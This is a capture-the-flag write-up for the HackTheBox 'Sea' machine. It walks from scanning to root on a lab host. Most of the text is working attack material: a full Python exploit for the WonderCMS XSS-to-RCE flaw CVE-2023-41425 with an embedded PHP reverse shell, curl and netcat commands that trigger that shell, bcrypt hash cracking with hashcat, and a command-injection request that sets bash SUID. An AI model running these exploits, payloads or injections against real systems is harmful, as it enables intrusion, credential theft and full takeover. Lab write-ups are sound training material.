HackTheBox Sea Writeup
Explore the fundamentals of cybersecurity in the Sea Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.
Add Hosts#
Edit the /etc/hosts file and add the following entries:
10.10.11.28 sea.htb
Script to add hosts automatically#
ip="10.10.11.28"
domain="sea.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV sea.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST
Nmap scan report for sea.htb (10.10.11.28)
Host is up (0.053s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://sea.htb
8080/tcp open http Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel
Enumeration#
ffuf -u http://sea.htb/FUZZ -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302,401,402,403
Result
index.php [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 54ms]
contact.php [Status: 200, Size: 2731, Words: 821, Lines: 119, Duration: 47ms]
.htaccess [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
. [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 46ms]
.html [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.php [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htpasswd [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htm [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htpasswds [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.htgroup [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
wp-forum.phps [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htaccess.bak [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htuser [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.ht [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htc [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
Copy of index.html [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
CVE-2023-41425#
WonderCMS XSS to RCE
#!/bin/python
import os
import shutil
import zipfile
import argparse
import subprocess
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
yellow = '\033[93m'
reset = '\033[0m'
def get_tun0_ip():
"""Fetch the tun0 IP address."""
try:
tun0_ip = subprocess.check_output("ip -4 addr show tun0 | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True)
return tun0_ip.decode().strip()
except subprocess.CalledProcessError:
return None
def arguments():
global args
parser = argparse.ArgumentParser()
parser.add_argument( '-u', '--url', required=True, help='Enter the URL where the WonderCMS loginURL is located. e.g.: http://example.com/loginURL' )
parser.add_argument( '-i', '--ip', required=True, help='Attacker IP address. e.g.: -i 127.0.0.1' )
parser.add_argument( '-p', '--port', required=True, help='Listening port. e.g.: -p 4444' )
parser.add_argument( '-r', '--remote-host', default=None, help='Specify the remote host where the main.zip file containing the compressed reverse shell is hosted: e.g.: http://192.168.0.23:8000/main.zip' )
args = parser.parse_args()
if args.remote_host is None:
tun0_ip = get_tun0_ip()
if tun0_ip:
args.remote_host = f"http://{tun0_ip}:8000/main.zip"
print(f"[*] Using tun0 IP for remote host: {args.remote_host}")
else:
print("[!] tun0 IP address could not be determined. Please specify the remote host manually.")
exit(1)
def createData( url, ip, port, remote_host ):
data = f'''
var url = "{ url }";
if (url.endsWith("/")) {{
url = url.slice(0, -1);
}}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlObj = new URL(urlWithoutLog);
var urlWithoutLogBase = urlObj.origin + '/';
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase + "/?installModule={ remote_host }&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {{
if (xhr3.status == 200) {{
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {{
if (xhr4.status == 200) {{
var ip = "{ ip }";
var port = "{ port }";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}}
}};
}}
}};
'''
return data
def createFileXSS( data ):
try:
with open( "xss.js", "w" ) as f:
f.write( data )
except:
print('\n[!] An error occurred while trying to write the file!')
def createRevPHP():
reverse_shell_code = '''<?php
set_time_limit(0);
$VERSION = "1.0";
$ip = '127.0.0.1';
$port = 1234;
if (isset($_GET['lhost']) && filter_var($_GET['lhost'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $_GET['lhost'];
}
if (isset($_GET['lport']) && (int)$_GET['lport'] > 0 && (int)$_GET['lport'] < 65536) {
$port = (int)$_GET['lport'];
}
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit($string) {
print "$string\n";
}
'''
if os.path.exists('main.zip'):
print(yellow,"\n[+] main.zip already exists. No further action required.", reset)
return
print(yellow,"\n[*] Creating 'revshell-main' directory and placing rev.php...", reset)
os.makedirs('revshell-main', exist_ok=True)
with open(os.path.join('revshell-main', 'rev.php'), 'w') as f:
f.write(reverse_shell_code)
print(yellow,"[+] revshell-main/rev.php created with reverse shell code.", reset)
print(yellow,"[*] Compressing 'revshell-main' into 'main.zip'...", reset)
with zipfile.ZipFile('main.zip', 'w') as zipf:
for root, dirs, files in os.walk('revshell-main'):
for file in files:
zipf.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.dirname('revshell-main')))
print(yellow,"[+] main.zip created successfully.", reset)
print(yellow,"[*] Cleaning up 'revshell-main' directory...", reset)
shutil.rmtree('revshell-main')
print(yellow,"[+] Cleaned up 'revshell-main' directory.\n", reset)
def printInfo():
print(yellow, "\n[+]The zip file will be downloaded from the host: ", reset, f" { args.remote_host }")
print(yellow, "\n[+] File created:", reset,"xss.js")
print(yellow, "\n[+] Set up nc to listen on your terminal for the reverse shell")
print("\tUse:\n\t\t", reset, red, f"nc -nvlp { args.port }", reset)
link = str(args.url).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(args.ip)+":8000/xss.js\"></script><form+action=\""
link = link.strip(" ")
print(yellow, "\n[+] Send the below link to admin:\n\n", green + link, reset)
print("\nStarting HTTP server with Python3, waiting for the XSS request")
os.system("python3 -m http.server\n")
if __name__ == '__main__':
try:
arguments()
createRevPHP()
createFileXSS( createData( args.url, args.ip, args.port, args.remote_host ) )
printInfo()
finally:
if os.path.exists('xss.js'):
os.remove('xss.js')
print(yellow,"\n[+] xss.js deleted.", reset)
if os.path.exists('main.zip'):
os.remove('main.zip')
print(yellow,"\n[+] main.zip deleted.", reset)
Make the script executable and run it:
chmod +x 41425
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
./41425 -u http://sea.htb/loginURL -i $vpnip -p 9001
go in http://sea.htb/contact.php and post a request with website as the payload given by the exploit
wait until “GET /xss.js HTTP/1.1” 200 appear in the exploit
listener
nc -lvnp 9001
invoke the revshell
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl "http://sea.htb/themes/revshell-main/rev.php?lhost=$vpnip&lport=9001"
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
Looking into existing users we find amay and geo.
cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash
Looking for credentials in the web app files we found a database.js that contains a bcrypt hash.
cd /var/www/sea/data
cat database.js | grep password
The hash contains escape sequences like
\/that need to be replaced with/. This is done usingsed 's/\\\//\//g'.
Brute Force the Hash#
Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 3200 /tmp/hash.txt --show
rm -rf /tmp/hash.txt
Now you can SSH:
ssh amay@sea.htb
Web Interface on Port 8080#
List local running services:
ss -tulpn
8080 has a service, so forward it to your machine:
ssh -L 1234:localhost:8080 amay@sea.htb
Log in as amay.
Just open the page in your browser and copy the token from the cookies.
Then, send the POST request to show the content of /root/root.txt and set the bash binary as SUID:
curl 'http://localhost:1234/' -X POST -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' --data-raw 'log_file='$(echo '/root/root.txt;chmod +s /bin/bash' | jq -sRr @uri)'&analyze_log=' | grep -oE '[a-f0-9]{32}'
This will display the flag.
ssh amay@sea.htb
After logging, you can run:
/bin/bash -p
And get a root shell.